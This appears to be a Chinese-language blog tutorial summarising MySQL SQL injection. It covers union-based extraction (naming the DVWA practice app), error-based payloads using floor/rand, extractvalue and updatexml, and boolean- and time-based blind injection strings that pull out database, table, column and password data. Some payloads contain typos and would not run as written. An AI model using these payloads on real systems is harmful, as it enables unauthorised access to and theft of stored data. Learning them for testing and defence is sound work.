1. 程式人生 > >SQL注入總結(二)

SQL注入總結(二)

手工注入的大致思路:

判斷是否存在注入,注入是字元型還是數字型

猜解SQL查詢語句中的欄位數(order by 2)

確定顯示的欄位順序(union select 1,2)

獲取當前資料庫(union select 1,database())

獲取資料庫中的表(xx' union select 1,table_name from information_schema.tables where table_schema=dvwa-- )

獲取表中的欄位名(xx' union select 1,column_name from information_schema.columns where table_schema=

users-- )

下載資料(xxunion select user,password from users -- )

為什麼要知道SQL查詢語句中的欄位數呢?

因為要想查詢別的表中的資料就要用到聯合查詢,聯合查詢需要注意一個問題,那就是前後select中欄位數目必須一樣,而且前面的每個欄位型別必須和後面每個欄位的型別相相容

Mysql資料庫(>=5.7)內建庫:

Mysql:儲存有賬戶資訊,許可權資訊,儲存過程,event,時區等資訊

Sys:包含了一系列的儲存過程,自定義函式以及試圖來幫助我們快速的瞭解系統的元資料資訊

Performance_schema:用於手機伺服器效能引數

Information_schema:其中儲存著關於MySQL伺服器所維護的所有其他資料庫的資訊。如資料庫名,資料庫的表,表欄的資料型別與訪問許可權等

查詢資料核心語法:

查庫:select schema_name from information_schema.schemata

查表:select table_name from information_schema.tables where table_schema = 庫名

查列:select column_name from information_schema.columns where table_name = 表名

查資料:select 列名 from 庫名.表名

報錯注入:

構造payload讓資訊通過錯誤提示回顯出來

應用場景:

  1. 查詢不回顯內容,會列印錯誤資訊
  2. update,insert等語句會列印錯誤資訊

方法:(凡是可以讓錯誤資訊顯示資料庫中內容的函式,都能實現報錯注入)

列舉三種:
floor():select count(*)from information_schema.tables group by concat((select version()),floor(rand(0)*2));

利用的是group對rand函式進行操作時產生錯誤

Concat:連線字串功能

Floor:取float的整數值

Rand:取0-1之間的隨機浮點值

Group by:根據一個或者多個列隊結果集進行有序分組並有排序功能

Extractvalue():select extractvalue(1,concat(0x7e,(select user()),0x7e))

Extractvalue():接收兩個引數,第一個引數是XML文件,第二個是xpath語句,XML文件進行查詢和修改的函式

利用的是XPATH語法錯誤產生報錯

Updatexml():select updatexml(1,concat(0x7e,(select user()),0x7e)1)

如果報錯顯示的長度有限,顯示的內容超過規定長度無法顯,我們就需要用substr()擷取部分內容顯示

盲注分為:基於布林的盲注,基於時間的盲注以及基於報錯的盲注

手工盲注的步驟:

判斷是否存在注入,注入是字元型還是數字型

猜解當前的資料庫名

猜解資料庫中的表名

猜解表中的欄位名

猜解資料

猜解資料庫:

1and 真 # 結果為真

1and 假 # 結果為假

猜解資料庫長度:length(str),通過1and length(database())>1-- 顯示結果不斷改變數字來判斷資料庫名長度

猜解資料庫名:

函式:left(a,b),從左側開始擷取a字串的前b位

Substr(str,start,length)

Ascii(a)將某個字元轉化為ascii值

Mid()函式與substr函式功能一樣

Ord()函式與ascii函式功能一樣

Regexp {(select user()) regexp ^r }正則表示式用法,user()結果為root,regexp為匹配root的正則表示式

Like {(select user()) like ‘ro%’} 與regexp類似,使用like進行匹配

常用的POC

And left(select(database()),1)=‘a’--+

And (select database()) regexp ‘^r’

And (select database()) like ‘r%’

And ord(mid((select database()),1,1))>97

And ascii(strsub((select database()),1,1)) > 97

通過1and ascii(substr((select database()),1,1)) >97 -- 猜解資料庫名

通過1and (select count (table_name) from information_schema.tables where table_schema=database()) =1 -- 猜解資料庫中表的數量

通過 1and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)) = 1 -- 猜解第一個表名長度

通過 1and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) > 97 -- 猜解第一個表名(設其中一個表的名稱為‘users’)

通過1and (select count(column_name) from information_schema.columns where table_name=users) = 8 -- 猜解出users表中有8個欄位

通過1and length(substr(select column_name from information_schema.columns where table_name = userslimit 0,1),1)=7 --  

或者 1and length(select column_name from information_schema.columns where table_name = userslimit 0,1)=7 --

猜解出第一個欄位的長度

下面一樣通過 1and ascii(substr((select user from users) limit 0,1),1,1)) > 97 -- 猜解欄位名

前面的布林盲注,根據頁面返回的真假進行判斷猜解,而時間盲注根據頁面反應是否延時來猜解判斷

常見函式:
if()函式

If(expr1,expr2,expr3):如果expr1為真,返回expr2,否則返回expr3

舉例子:1and if(ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1))=97,sleep(2),1)--+